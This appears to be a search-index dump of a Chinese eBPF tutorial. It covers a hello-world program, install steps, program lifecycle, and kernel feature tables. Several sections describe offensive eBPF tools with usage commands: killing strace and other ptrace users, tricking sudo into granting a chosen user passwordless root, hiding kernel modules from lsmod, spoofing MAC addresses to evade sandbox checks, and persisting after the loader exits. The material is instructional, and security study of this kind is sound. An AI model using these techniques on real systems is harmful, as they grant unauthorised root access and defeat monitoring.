拦截系统调用并修改它们的行为，以及如何将这些知识应用到实际的网络安全和防御工作中。此外，我们也了解了 eBPF 的强大性，尤其是它能在不需要修改内核源代码或重启内核的情况下，允许用户在内核中执行自定义代码的能力。 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。 接下来的教程将进一步探讨 eBPF 的高级特性，我们会继续分享更多有关 eBPF 开发实践的内容，包括如何使用 eBPF 进行网络和系统性能分析，如何编写更复杂的 eBPF 程序以及如何将 eBPF 集成到您的应用中。希望你会在我们的教程中找到有用的信息，进一步提升你的 eBPF 开发技能。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 总结","id":"158","title":"总结"},"159":{"body":"编译： make 使用方式： sudo ./bpfdos 这个程序会对任何试图使用 ptrace 系统调用的程序，例如 strace，发出 SIG_KILL 信号。 一旦 bpf-dos 开始运行，你可以通过运行以下命令进行测试： strace /bin/whoami","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 用 bpf_send_signal 发送信号终止恶意进程","id":"159","title":"用 bpf_send_signal 发送信号终止恶意进程"},"16":{"body":"可以通过以下步骤下载和安装 eunomia-bpf： 下载 ecli 工具，用于运行 eBPF 程序： $ wget https://aka.pw/bpf-ecli -O ecli && chmod +x ./ecli\n$ ./ecli -h\nUsage: ecli [--help] [--version] [--json] [--no-cache] url-and-args 下载编译器工具链，用于将 eBPF 内核代码编译为 config 文件或 WASM 模块： $ wget https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecc && chmod +x ./ecc\n$ ./ecc -h\neunomia-bpf compiler\nUsage: ecc [OPTIONS] <SOURCE_PATH> [EXPORT_EVENT_HEADER]\n.... 也可以使用 docker 镜像进行编译： $ docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest # 使用 docker 进行编译。`pwd` 应该包含 *.bpf.c 文件和 *.h 文件。\nexport PATH=PATH:~/.eunomia/bin\nCompiling bpf object...\nPacking ebpf object and config into /src/package.json...","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 下载安装 eunomia-bpf 开发工具","id":"16","title":"下载安装 eunomia-bpf 开发工具"},"160":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 参考资料","id":"160","title":"参考资料"},"161":{"body":"编译： make 使用方式： sudo ./sudoadd --username lowpriv-user 这个程序允许一个通常权限较低的用户使用 sudo 成为 root。 它通过拦截 sudo 读取 /etc/sudoers 文件，并将第一行覆盖为 <username> ALL=(ALL:ALL) NOPASSWD:ALL # 的方式工作。这欺骗了 sudo，使其认为用户被允许成为 root。其他程序如 cat 或 sudoedit 不受影响，所以对于这些程序来说，文件未改变，用户并没有这些权限。行尾的 # 确保行的其余部分被当作注释处理，因此不会破坏文件的逻辑。","breadcrumbs":"使用 eBPF 添加 sudo 用户 » 使用 eBPF 添加 sudo 用户","id":"161","title":"使用 eBPF 添加 sudo 用户"},"162":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 eBPF 添加 sudo 用户 » 参考资料","id":"162","title":"参考资料"},"163":{"body":"编译： make 使用方式： sudo ./replace --filename /path/to/file --input foo --replace bar 这个程序将文件中所有与 input 匹配的文本替换为 replace 文本。 这有很多用途，例如： 隐藏内核模块 joydev，避免被如 lsmod 这样的工具发现： ./replace -f /proc/modules -i 'joydev' -r 'cryptd' 伪造 eth0 接口的 MAC 地址： ./replace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00' 恶意软件进行反沙箱检查可能会检查 MAC 地址，寻找是否正在虚拟机或沙箱内运行，而不是在“真实”的机器上运行的迹象。 注意： input 和 replace 的长度必须相同，以避免在文本块的中间添加 NULL 字符。在 bash 提示符下输入换行符，使用 $'\\n'，例如 --replace $'text\\n'。","breadcrumbs":"使用 eBPF 替换任意程序读取或写入的文本 » 使用 eBPF 替换任意程序读取或写入的文本","id":"163","title":"使用 eBPF 替换任意程序读取或写入的文本"},"164":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 eBPF 替换任意程序读取或写入的文本 » 参考资料","id":"164","title":"参考资料"},"165":{"body":"通过使用 detach 的方式运行 eBPF 程序，用户空间加载器可以退出，而不会停止 eBPF 程序。","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 在用户态应用退出后运行 eBPF 程序：eBPF 程序的生命周期","id":"165","title":"在用户态应用退出后运行 eBPF 程序：eBPF 程序的生命周期"},"166":{"body":"首先，我们需要了解一些关键的概念，如 BPF 对象（包括程序，地图和调试信息），文件描述符 (FD)，引用计数（refcnt）等。在 eBPF 系统中，用户空间通过文件描述符访问 BPF 对象，而每个对象都有一个引用计数。当一个对象被创建时，其引用计数初始为1。如果该对象不再被使用（即没有其他程序或文件描述符引用它），它的引用计数将降至0，并在 RCU 宽限期后被内存清理。 接下来，我们需要了解 eBPF 程序的生命周期。首先，当你创建一个 BPF 程序，并将它连接到某个“钩子”（例如网络接口，系统调用等），它的引用计数会增加。然后，即使原始创建和加载该程序的用户空间进程退出，只要 BPF 程序的引用计数大于 0，它就会保持活动状态。然而，这个过程中有一个重要的点是：不是所有的钩子都是相等的。有些钩子是全局的，比如 XDP、tc's clsact 和 cgroup-based 钩子。这些全局钩子会一直保持 BPF 程序的活动状态，直到这些对象自身消失。而有些钩子是局部的，只在拥有它们的进程存活期间运行。 对于 BPF 对象（程序或映射）的生命周期管理，另一个关键的操作是“分离”（detach）。这个操作会阻止已附加程序的任何未来执行。然后，对于需要替换 BPF 程序的情况，你可以使用替换（replace）操作。这是一个复杂的过程，因为你需要确保在替换过程中，不会丢失正在处理的事件，而且新旧程序可能在不同的 CPU 上同时运行。 最后，除了通过文件描述符和引用计数来管理 BPF 对象的生命周期，还有一个叫做 BPFFS 的方法，也就是“BPF 文件系统”。用户空间进程可以在 BPFFS 中“固定”（pin）一个 BPF 程序或映射，这将增加对象的引用计数，使得即使 BPF 程序未附加到任何地方或 BPF 映射未被任何程序使用，该 BPF 对象也将保持活动状态。 所以，当我们谈论在后台运行 eBPF 程序时，我们需要清楚这个过程的含义。在某些情况下，即使用户空间进程已经退出，我们可能还希望 BPF 程序保持运行。这就需要我们正确地管理 BPF 对象的生命周期","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » eBPF 程序的生命周期","id":"166","title":"eBPF 程序的生命周期"},"167":{"body":"这里还是采用了上一个的字符串替换的应用，来体现对应可能的安全风险。通过使用 --detach 运行程序，用户空间加载器可以退出，而不会停止 eBPF 程序。 编译： make 在运行前，请首先确保 bpf 文件系统已经被挂载： sudo mount bpffs -t bpf /sys/fs/bpf\nmkdir /sys/fs/bpf/textreplace 然后，你可以分离运行 text-replace2： ./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' -d 这将在 /sys/fs/bpf/textreplace 下创建一些 eBPF 链接文件。 一旦加载器成功运行，你可以通过运行以下命令检查日志： sudo cat /sys/kernel/debug/tracing/trace_pipe\n# 确认链接文件存在\nsudo ls -l /sys/fs/bpf/textreplace 然后，要停止，只需删除链接文件即可： sudo rm -r /sys/fs/bpf/textreplace","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 运行","id":"167","title":"运行"},"168":{"body":"https://github.com/pathtofile/bad-bpf https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 参考资料","id":"168","title":"参考资料"},"169":{"body":"","breadcrumbs":"BPF Features by Linux Kernel Version » BPF Features by Linux Kernel Version","id":"169","title":"BPF Features by Linux Kernel Version"},"17":{"body":"我们会先从一个简单的 eBPF 程序开始，它会在内核中打印一条消息。我们会使用 eunomia-bpf 的编译器工具链将其编译为 bpf 字节码文件，然后使用 ecli 工具加载并运行该程序。作为示例，我们可以暂时省略用户态程序的部分。 /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n#define BPF_NO_GLOBAL_DATA\n#include <linux/bpf.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> typedef unsigned int u32;\ntypedef int pid_t;\nconst pid_t pid_filter = 0; char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"tp/syscalls/sys_enter_write\")\nint handle_tp(void *ctx)\n{ pid_t pid = bpf_get_current_pid_tgid() >> 32; if (pid_filter && pid != pid_filter) return 0; bpf_printk(\"BPF triggered sys_enter_write from PID %d.\\n\", pid); return 0;\n} 这段程序通过定义一个 handle_tp 函数并使用 SEC 宏把它附加到 sys_enter_write tracepoint（即在进入 write 系统调用时执行）。该函数通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 write 系统调用的进程 ID，并在内核日志中打印出来。 bpf_trace_printk()： 一种将信息输出到trace_pipe(/sys/kernel/debug/tracing/trace_pipe)简单机制。 在一些简单用例中这样使用没有问题， but它也有一些限制：最多3 参数； 第一个参数必须是%s(即字符串)；同时trace_pipe在内核中全局共享，其他并行使用trace_pipe的程序有可能会将 trace_pipe 的输出扰乱。 一个更好的方式是通过 BPF_PERF_OUTPUT(), 稍后将会讲到。 void *ctx：ctx本来是具体类型的参数， 但是由于我们这里没有使用这个参数，因此就将其写成void *类型。 return 0;：必须这样，返回0 (如果要知道why, 参考 #139 https://github.com/iovisor/bcc/issues/139 )。 要编译和运行这段程序，可以使用 ecc 工具和 ecli 命令。首先在 Ubuntu/Debian 上，执行以下命令： sudo apt install clang llvm 使用 ecc 编译程序： $ ./ecc minimal.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 或使用 docker 镜像进行编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 然后使用 ecli 运行编译后的程序： $ sudo ./ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe | grep \"BPF triggered sys_enter_write\" <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. 按 Ctrl+C 停止 ecli 进程之后，可以看到对应的输出也停止。 注意：如果正在使用的 Linux 发行版例如 Ubuntu 默认情况下没有启用跟踪子系统可能看不到任何输出，使用以下指令打开这个功能： $ sudo su\n# echo 1 > /sys/kernel/debug/tracing/tracing_on","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » Hello World - minimal eBPF program","id":"17","title":"Hello World - minimal eBPF program"},"170":{"body":"Kernel version Commit 3.15 bd4cf0ed331a","breadcrumbs":"BPF Features by Linux Kernel Version » eBPF support","id":"170","title":"eBPF support"},"171":{"body":"The list of supported architectures for your kernel can be retrieved with: git grep HAVE_EBPF_JIT arch/ Feature / Architecture Kernel version Commit x86_64 3.16 622582786c9e ARM64 3.18 e54bcde3d69d s390 4.1 054623105728 Constant blinding for JIT machines 4.7 4f3446bb809f PowerPC64 4.8 156d0e290e96 Constant blinding - PowerPC64 4.9 b7b7013cac55 Sparc64 4.12 7a12b5031c6b MIPS 4.13 f381bf6d82f0 ARM32 4.14 39c13c204bb1 x86_32 4.18 03f5781be2c7 RISC-V RV64G 5.1 2353ecc6f91f RISC-V RV32G 5.7 5f316b65e99f PowerPC32 5.13 51c66ad849a7 LoongArch 6.1 5dc615520c4d","breadcrumbs":"BPF Features by Linux Kernel Version » JIT compiling","id":"171","title":"JIT compiling"},"172":{"body":"Several (but not all) of these main features translate to an eBPF program type. The list of such program types supported in your kernel can be found in file include/uapi/linux/bpf.h : git grep -W 'bpf_prog_type {' include/uapi/linux/bpf.h Feature Kernel version Commit AF_PACKET (libpcap/tcpdump, cls_bpf classifier, netfilter's xt_bpf, team driver's load-balancing mode…) 3.15 bd4cf0ed331a Kernel helpers 3.15 bd4cf0ed331a bpf() syscall 3.18 99c55f7d47c0 Maps ( a.k.a. Tables; details below) 3.18 99c55f7d47c0 BPF attached to sockets 3.19 89aa075832b0 BPF attached to kprobes 4.1 2541517c32be cls_bpf / act_bpf for tc 4.1 e2e9b6541dd4 Tail calls 4.2 04fd61ab36ec Non-root programs on sockets 4.4 1be7f75d1668 Persistent maps and programs (virtual FS) 4.4 b2197755b263 tc's direct-action (da) mode 4.4 045efa82ff56 tc's clsact qdisc 4.5 1f211a1b929c BPF attached to tracepoints 4.7 98b5c2c65c29 Direct packet access 4.7 969bf05eb3ce XDP (see below) 4.8 6a773a15a1e8 BPF attached to perf events 4.9 0515e5999a46 Hardware offload for tc's cls_bpf 4.9 332ae8e2f6ec Verifier exposure and internal hooks 4.9 13a27dfc6697 BPF attached to cgroups for socket filtering 4.10 0e33661de493 Lightweight tunnel encapsulation 4.10 3a0af8fd61f9 e BPF support for xt_bpf module (iptables) 4.10 2c16d6033264 BPF program tag 4.10 7bd509e311f4 Tracepoints to debug BPF 4.11 (removed in 4.18) a67edbf4fb6d 4d220ed0f814 Testing / benchmarking BPF programs 4.12 1cf1cae963c2 BPF programs and maps IDs 4.13 dc4bb0e23561 BPF support for sock_ops 4.13 40304b2a1567 BPF support for skbs on sockets 4.14 b005fd189cec bpftool utility in kernel sources 4.15 71bb428fe2c1 BPF attached to cgroups as device controller 4.15 ebc614f68736 bpf2bpf function calls 4.16 cc8b0b92a169 BPF used for monitoring socket RX/TX data 4.17 4f738adba30a BPF attached to raw tracepoints 4.17 c4f6699dfcb8 BPF attached to bind() system call 4.17 4fbac77d2d09 aac3fc320d94 BPF attached to connect() system call 4.17 d74bad4e74ee BPF Type Format (BTF) 4.18 69b693f0aefa AF_XDP 4.18 fbfc504a24f5 bpfilter 4.18 d2ba09c17a06 End.BPF action for seg6local LWT 4.18 004d4b274e2a BPF attached to LIRC devices 4.18 f4364dcfc86d Pass map values to map helpers 4.18 d71962f3e627 BPF socket reuseport 4.19 2dbb9b9e6df6 BPF flow dissector 4.20 d58e468b1112 BPF 1M insn limit 5.2 c04c0d2b968a BPF cgroup sysctl 5.2 7b146cebe30c BPF raw tracepoint writable 5.2 9df1c28bb752 BPF bounded loop 5.3 2589726d12a1 BPF trampoline 5.5 fec56f5890d9 BPF LSM hook 5.7 fc611f47f218 641cd7b06c91 BPF iterator 5.8 180139dca8b3 BPF socket lookup hook 5.9 e9ddbb7707ff Sleepable BPF programs 5.10 1e6c62a88215","breadcrumbs":"BPF Features by Linux Kernel Version » Main features","id":"172","title":"Main features"},"173":{"body":"Program type Kernel version Commit Enum Socket filter 3.19 ddd872bc3098 BPF_PROG_TYPE_SOCKET_FILTER Kprobe 4.1 2541517c32be BPF_PROG_TYPE_KPROBE traffic control (TC) 4.1 96be4325f443 BPF_PROG_TYPE_SCHED_CLS traffic control (TC) 4.1 94caee8c312d BPF_PROG_TYPE_SCHED_ACT Tracepoint 4.7 98b5c2c65c29 BPF_PROG_TYPE_TRACEPOINT XDP 4.8 6a773a15a1e8 BPF_PROG_TYPE_XDP Perf event 4.9 0515e5999a46 BPF_PROG_TYPE_PERF_EVENT cgroup socket filtering 4.10 0e33661de493 BPF_PROG_TYPE_CGROUP_SKB cgroup sock modification 4.10 610236587600 BPF_PROG_TYPE_CGROUP_SOCK lightweight tunnel (IN) 4.10 3a0af8fd61f9 BPF_PROG_TYPE_LWT_IN lightweight tunnel (OUT) 4.10 3a0af8fd61f9 BPF_PROG_TYPE_LWT_OUT lightweight tunnel (XMIT) 4.10 3a0af8fd61f9 BPF_PROG_TYPE_LWT_XMIT cgroup sock ops (per conn) 4.13 40304b2a1567 BPF_PROG_TYPE_SOCK_OPS stream parser / stream verdict 4.14 b005fd189cec BPF_PROG_TYPE_SK_SKB cgroup device manager 4.15 ebc614f68736 BPF_PROG_TYPE_CGROUP_DEVICE socket msg verdict 4.17 4f738adba30a BPF_PROG_TYPE_SK_MSG Raw tracepoint 4.17 c4f6699dfcb8 BPF_PROG_TYPE_RAW_TRACEPOINT socket binding 4.17 4fbac77d2d09 BPF_PROG_TYPE_CGROUP_SOCK_ADDR LWT seg6local 4.18 004d4b274e2a BPF_PROG_TYPE_LWT_SEG6LOCAL lirc devices 4.18 f4364dcfc86d BPF_PROG_TYPE_LIRC_MODE2 lookup SO_REUSEPORT socket 4.19 2dbb9b9e6df6 BPF_PROG_TYPE_SK_REUSEPORT flow dissector 4.20 d58e468b1112 BPF_PROG_TYPE_FLOW_DISSECTOR cgroup sysctl 5.2 7b146cebe30c BPF_PROG_TYPE_CGROUP_SYSCTL writable raw tracepoints 5.2 9df1c28bb752 BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE cgroup getsockopt/setsockopt 5.3 0d01da6afc54 BPF_PROG_TYPE_CGROUP_SOCKOPT Tracing (BTF/BPF trampoline) 5.5 f1b9509c2fb0 BPF_PROG_TYPE_TRACING struct ops 5.6 27ae7997a661 BPF_PROG_TYPE_STRUCT_OPS extensions 5.6 be8704ff07d2 BPF_PROG_TYPE_EXT LSM 5.7 fc611f47f218 BPF_PROG_TYPE_LSM lookup listening socket 5.9 e9ddbb7707ff BPF_PROG_TYPE_SK_LOOKUP Allow executing syscalls 5.15 79a7f8bdb159 BPF_PROG_TYPE_SYSCALL","breadcrumbs":"BPF Features by Linux Kernel Version » Program types","id":"173","title":"Program types"},"174":{"body":"","breadcrumbs":"BPF Features by Linux Kernel Version » Maps ( a.k.a. Tables, in BCC lingo)","id":"174","title":"Maps ( a.k.a. Tables, in BCC lingo)"},"175":{"body":"The list of map types supported in your kernel can be found in file include/uapi/linux/bpf.h : git grep -W 'bpf_map_type {' include/uapi/linux/bpf.h Map type Kernel version Commit Enum Hash 3.19 0f8e4bd8a1fc BPF_MAP_TYPE_HASH Array 3.19 28fbcfa08d8e BPF_MAP_TYPE_ARRAY Prog array 4.2 04fd61ab36ec BPF_MAP_TYPE_PROG_ARRAY Perf events 4.3 ea317b267e9d BPF_MAP_TYPE_PERF_EVENT_ARRAY Per-CPU hash 4.6 824bd0ce6c7c BPF_MAP_TYPE_PERCPU_HASH Per-CPU array 4.6 a10423b87a7e BPF_MAP_TYPE_PERCPU_ARRAY Stack trace 4.6 d5a3b1f69186 BPF_MAP_TYPE_STACK_TRACE cgroup array 4.8 4ed8ec521ed5 BPF_MAP_TYPE_CGROUP_ARRAY LRU hash 4.10 29ba732acbee 3a08c2fd7634 BPF_MAP_TYPE_LRU_HASH LRU per-CPU hash 4.10 8f8449384ec3 961578b63474 BPF_MAP_TYPE_LRU_PERCPU_HASH LPM trie (longest-prefix match) 4.11 b95a5c4db09b BPF_MAP_TYPE_LPM_TRIE Array of maps 4.12 56f668dfe00d BPF_MAP_TYPE_ARRAY_OF_MAPS Hash of maps 4.12 bcc6b1b7ebf8 BPF_MAP_TYPE_HASH_OF_MAPS Netdevice references (array) 4.14 546ac1ffb70d BPF_MAP_TYPE_DEVMAP Socket references (array) 4.14 174a79ff9515 BPF_MAP_TYPE_SOCKMAP CPU references 4.15 6710e1126934 BPF_MAP_TYPE_CPUMAP AF_XDP socket (XSK) references 4.18 fbfc504a24f5 BPF_MAP_TYPE_XSKMAP Socket references (hashmap) 4.18 81110384441a BPF_MAP_TYPE_SOCKHASH cgroup storage 4.19 de9cbbaadba5 BPF_MAP_TYPE_CGROUP_STORAGE reuseport sockarray 4.19 5dc4c4b7d4e8 BPF_MAP_TYPE_REUSEPORT_SOCKARRAY precpu cgroup storage 4.20 b741f1630346 BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE queue 4.20 f1a2e44a3aec BPF_MAP_TYPE_QUEUE stack 4.20 f1a2e44a3aec BPF_MAP_TYPE_STACK socket local storage 5.2 6ac99e8f23d4 BPF_MAP_TYPE_SK_STORAGE Netdevice references (hashmap) 5.4 6f9d451ab1a3 BPF_MAP_TYPE_DEVMAP_HASH struct ops 5.6 85d33df357b6 BPF_MAP_TYPE_STRUCT_OPS ring buffer 5.8 457f44363a88 BPF_MAP_TYPE_RINGBUF inode storage 5.10 8ea636848aca BPF_MAP_TYPE_INODE_STORAGE task storage 5.11 4cf1bc1f1045 BPF_MAP_TYPE_TASK_STORAGE Bloom filter 5.16 9330986c0300 BPF_MAP_TYPE_BLOOM_FILTER user ringbuf 6.1 583c1f420173 BPF_MAP_TYPE_USER_RINGBUF","breadcrumbs":"BPF Features by Linux Kernel Version » Map types","id":"175","title":"Map types"},"176":{"body":"Some (but not all) of these API features translate to a subcommand beginning with BPF_MAP_. The list of subcommands supported in your kernel can be found in file include/uapi/linux/bpf.h : git grep -W 'bpf_cmd {' include/uapi/linux/bpf.h Feature Kernel version Commit Basic operations (lookup, update, delete, GET_NEXT_KEY) 3.18 db20fd2b0108 Pass flags to UPDATE_ELEM 3.19 3274f52073d8 Pre-alloc map memory by default 4.6 6c9059817432 Pass NULL to GET_NEXT_KEY 4.12 8fe45924387b Creation: select NUMA node 4.14 96eabe7a40aa Restrict access from syscall side 4.15 6e71b04a8224 Creation: specify map name 4.15 ad5b177bd73f LOOKUP_AND_DELETE_ELEM 4.20 bd513cd08f10 Creation: BPF_F_ZERO_SEED 5.0 96b3b6c9091d BPF_F_LOCK flag for lookup / update 5.1 96049f3afd50 Restrict access from BPF side 5.2 591fe9888d78 FREEZE 5.2 87df15de441b mmap() support for array maps 5.5 fc9702273e2e LOOKUP_BATCH 5.6 cb4d03ab499d UPDATE_BATCH, DELETE_BATCH 5.6 aa2e93b8e58e LOOKUP_AND_DELETE_BATCH 5.6 057996380a42 LOOKUP_AND_DELETE_ELEM support for hash maps 5.14 3e87f192b405","breadcrumbs":"BPF Features by Linux Kernel Version » Map userspace API","id":"176","title":"Map userspace API"},"177":{"body":"An approximate list of drivers or components supporting XDP programs for your kernel can be retrieved with: git grep -l XDP_SETUP_PROG drivers/ Feature / Driver Kernel version Commit XDP core architecture 4.8 6a773a15a1e8 Action: drop 4.8 6a773a15a1e8 Action: pass on to stack 4.8 6a773a15a1e8 Action: direct forwarding (on same port) 4.8 6ce96ca348a9 Direct packet data write 4.8 4acf6c0b84c9 Mellanox mlx4 driver 4.8 47a38e155037 Mellanox mlx5 driver 4.9 86994156c736 Netronome nfp driver 4.10 ecd63a0217d5 QLogic (Cavium) qed* drivers 4.10 496e05170958 virtio_net driver 4.10 f600b6905015 Broadcom bnxt_en driver 4.11 c6d30e8391b8 Intel ixgbe* drivers 4.12 924708081629 Cavium thunderx driver 4.12 05c773f52b96 Generic XDP 4.12 b5cdae3291f7 Intel i40e driver 4.13 0c8493d90b6b Action: redirect 4.14 6453073987ba Support for tap 4.14 761876c857cb Support for veth 4.14 d445516966dc Intel ixgbevf driver 4.17 c7aec59657b6 Freescale dpaa2 driver 5.0 7e273a8ebdd3 Socionext netsec driver 5.3 ba2b232108d3 TI cpsw driver 5.3 9ed4050c0d75 Intel ice driver 5.5 efc2214b6047 Solarflare sfc driver 5.5 eb9a36be7f3e Marvell mvneta driver 5.5 0db51da7a8e9 Microsoft hv_netvsc driver 5.6 351e1581395f Amazon ena driver 5.6 838c93dc5449 xen-netfront driver 5.9 6c5aa6fc4def Intel igb driver 5.10 9cbc948b5a20","breadcrumbs":"BPF Features by Linux Kernel Version » XDP","id":"177","title":"XDP"},"178":{"body":"The list of helpers supported in your kernel can be found in file include/uapi/linux/bpf.h : git grep '\tFN(' include/uapi/linux/bpf.h Alphabetical order Helper Kernel version License Commit BPF_FUNC_bind() 4.17 d74bad4e74ee BPF_FUNC_bprm_opts_set() 5.11 3f6719c7b62f BPF_FUNC_btf_find_by_name_kind() 5.14 3d78417b60fb BPF_FUNC_cgrp_storage_delete() 6.2 c4bcfb38a95e BPF_FUNC_cgrp_storage_get() 6.2 c4bcfb38a95e BPF_FUNC_check_mtu() 5.12 34b2021cc616 BPF_FUNC_clone_redirect() 4.2 3896d655f4d4 BPF_FUNC_copy_from_user() 5.10 07be4c4a3e7a BPF_FUNC_copy_from_user_task() 5.18 GPL 376040e47334 BPF_FUNC_csum_diff() 4.6 7d672345ed29 BPF_FUNC_csum_level() 5.7 7cdec54f9713 BPF_FUNC_csum_update() 4.9 36bbef52c7eb BPF_FUNC_current_task_under_cgroup() 4.9 60d20f9195b2 BPF_FUNC_d_path() 5.10 6e22ab9da793 BPF_FUNC_dynptr_data() 5.19 34d4ef5775f7 BPF_FUNC_dynptr_from_mem() 5.19 263ae152e962 BPF_FUNC_dynptr_read() 5.19 13bbbfbea759 BPF_FUNC_dynptr_write() 5.19 13bbbfbea759 BPF_FUNC_fib_lookup() 4.18 GPL 87f5fc7e48dd BPF_FUNC_find_vma() 5.17 7c7e3d31e785 BPF_FUNC_for_each_map_elem() 5.13 69c087ba6225 BPF_FUNC_get_attach_cookie() 5.15 7adfc6c9b315 BPF_FUNC_get_branch_snapshot() 5.16 GPL 856c02dbce4f BPF_FUNC_get_current_ancestor_cgroup_id() 5.6 b4490c5c4e02 BPF_FUNC_get_cgroup_classid() 4.3 8d20aabe1c76 BPF_FUNC_get_current_cgroup_id() 4.18 bf6fa2c893c5 BPF_FUNC_get_current_comm() 4.2 ffeedafbf023 BPF_FUNC_get_current_pid_tgid() 4.2 ffeedafbf023 BPF_FUNC_get_current_task() 4.8 GPL 606274c5abd8 BPF_FUNC_get_current_task_btf() 5.11 GPL 3ca1032ab7ab BPF_FUNC_get_current_uid_gid() 4.2 ffeedafbf023 BPF_FUNC_get_func_arg() 5.17 f92c1e183604 BPF_FUNC_get_func_arg_cnt() 5.17 f92c1e183604 BPF_FUNC_get_func_ip() 5.15 5d8b583d04ae BPF_FUNC_get_func_ret() 5.17 f92c1e183604 BPF_FUNC_get_retval() 5.18 b44123b4a3dc BPF_FUNC_get_hash_recalc() 4.8 13c5c240f789 BPF_FUNC_get_listener_sock() 5.1 dbafd7ddd623 BPF_FUNC_get_local_storage() 4.19 cd3394317653 BPF_FUNC_get_netns_cookie() 5.7 f318903c0bf4 BPF_FUNC_get_ns_current_pid_tgid() 5.7 b4490c5c4e02 BPF_FUNC_get_numa_node_id() 4.10 2d0e30c30f84 BPF_FUNC_get_prandom_u32() 4.1 03e69b508b6f BPF_FUNC_get_route_realm() 4.4 c46646d0484f BPF_FUNC_get_smp_processor_id() 4.1 c04167ce2ca0 BPF_FUNC_get_socket_cookie() 4.12 91b8270f2a4d BPF_FUNC_get_socket_uid() 4.12 6acc5c291068 BPF_FUNC_get_stack() 4.18 GPL de2ff05f48af BPF_FUNC_get_stackid() 4.6 GPL d5a3b1f69186 BPF_FUNC_get_task_stack() 5.9 fa28dcb82a38 BPF_FUNC_getsockopt() 4.15 cd86d1fd2102 BPF_FUNC_ima_file_hash() 5.18 174b16946e39 BPF_FUNC_ima_inode_hash() 5.11 27672f0d280a BPF_FUNC_inode_storage_delete() 5.10 8ea636848aca BPF_FUNC_inode_storage_get() 5.10 8ea636848aca BPF_FUNC_jiffies64() 5.5 5576b991e9c1 BPF_FUNC_kallsyms_lookup_name() 5.16 d6aef08a872b BPF_FUNC_kptr_xchg() 5.19 c0a5a21c25f3 BPF_FUNC_ktime_get_boot_ns() 5.8 71d19214776e BPF_FUNC_ktime_get_coarse_ns() 5.11 d05512618056 BPF_FUNC_ktime_get_ns() 4.1 d9847d310ab4 BPF_FUNC_ktime_get_tai_ns() 6.1 c8996c98f703 BPF_FUNC_l3_csum_replace() 4.1 91bc4822c3d6 BPF_FUNC_l4_csum_replace() 4.1 91bc4822c3d6 BPF_FUNC_load_hdr_opt() 5.10 0813a841566f BPF_FUNC_loop() 5.17 e6f2dd0f8067 BPF_FUNC_lwt_push_encap() 4.18 fe94cc290f53 BPF_FUNC_lwt_seg6_action() 4.18 fe94cc290f53 BPF_FUNC_lwt_seg6_adjust_srh() 4.18 fe94cc290f53 BPF_FUNC_lwt_seg6_store_bytes() 4.18 fe94cc290f53 BPF_FUNC_map_delete_elem() 3.19 d0003ec01c66 BPF_FUNC_map_lookup_elem() 3.19 d0003ec01c66 BPF_FUNC_map_lookup_percpu_elem() 5.19 07343110b293 BPF_FUNC_map_peek_elem() 4.20 f1a2e44a3aec BPF_FUNC_map_pop_elem() 4.20 f1a2e44a3aec BPF_FUNC_map_push_elem() 4.20 f1a2e44a3aec BPF_FUNC_map_update_elem() 3.19 d0003ec01c66 BPF_FUNC_msg_apply_bytes() 4.17 2a100317c9eb BPF_FUNC_msg_cork_bytes() 4.17 91843d540a13 BPF_FUNC_msg_pop_data() 5.0 7246d8ed4dcc BPF_FUNC_msg_pull_data() 4.17 015632bb30da BPF_FUNC_msg_push_data() 4.20 6fff607e2f14 BPF_FUNC_msg_redirect_hash() 4.18 81110384441a BPF_FUNC_msg_redirect_map() 4.17 4f738adba30a BPF_FUNC_per_cpu_ptr() 5.10 eaa6bcb71ef6 BPF_FUNC_perf_event_output() 4.4 GPL a43eec304259 BPF_FUNC_perf_event_read() 4.3 GPL 35578d798400 BPF_FUNC_perf_event_read_value() 4.15 GPL 908432ca84fc BPF_FUNC_perf_prog_read_value() 4.15 GPL 4bebdc7a85aa BPF_FUNC_probe_read() 4.1 GPL 2541517c32be BPF_FUNC_probe_read_kernel() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_kernel_str() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_user() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_user_str() 5.5 GPL 6ae08ae3dea2 BPF_FUNC_probe_read_str() 4.11 GPL a5e8c07059d0 BPF_FUNC_probe_write_user() 4.8 GPL 96ae52279594 BPF_FUNC_rc_keydown() 4.18 GPL f4364dcfc86d BPF_FUNC_rc_pointer_rel() 5.0 GPL 01d3240a04f4 